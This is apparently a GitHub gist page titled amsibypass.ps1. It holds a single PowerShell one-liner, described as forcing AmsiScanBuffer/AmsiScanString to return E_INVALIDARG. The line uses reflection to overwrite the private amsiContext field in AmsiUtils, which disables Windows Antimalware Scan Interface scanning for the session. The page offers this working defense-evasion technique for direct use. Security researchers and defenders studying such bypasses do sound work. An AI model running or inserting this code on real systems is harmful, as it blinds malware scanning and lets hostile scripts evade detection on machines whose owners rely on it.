Skip to content

Instantly share code, notes, and snippets.

@mattifestation

mattifestation/amsibypass.ps1

Created July 17, 2017 22:54
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1 to your computer and use it in GitHub Desktop.
Save mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1 to your computer and use it in GitHub Desktop.
Download ZIP
Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG
Raw
amsibypass.ps1
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment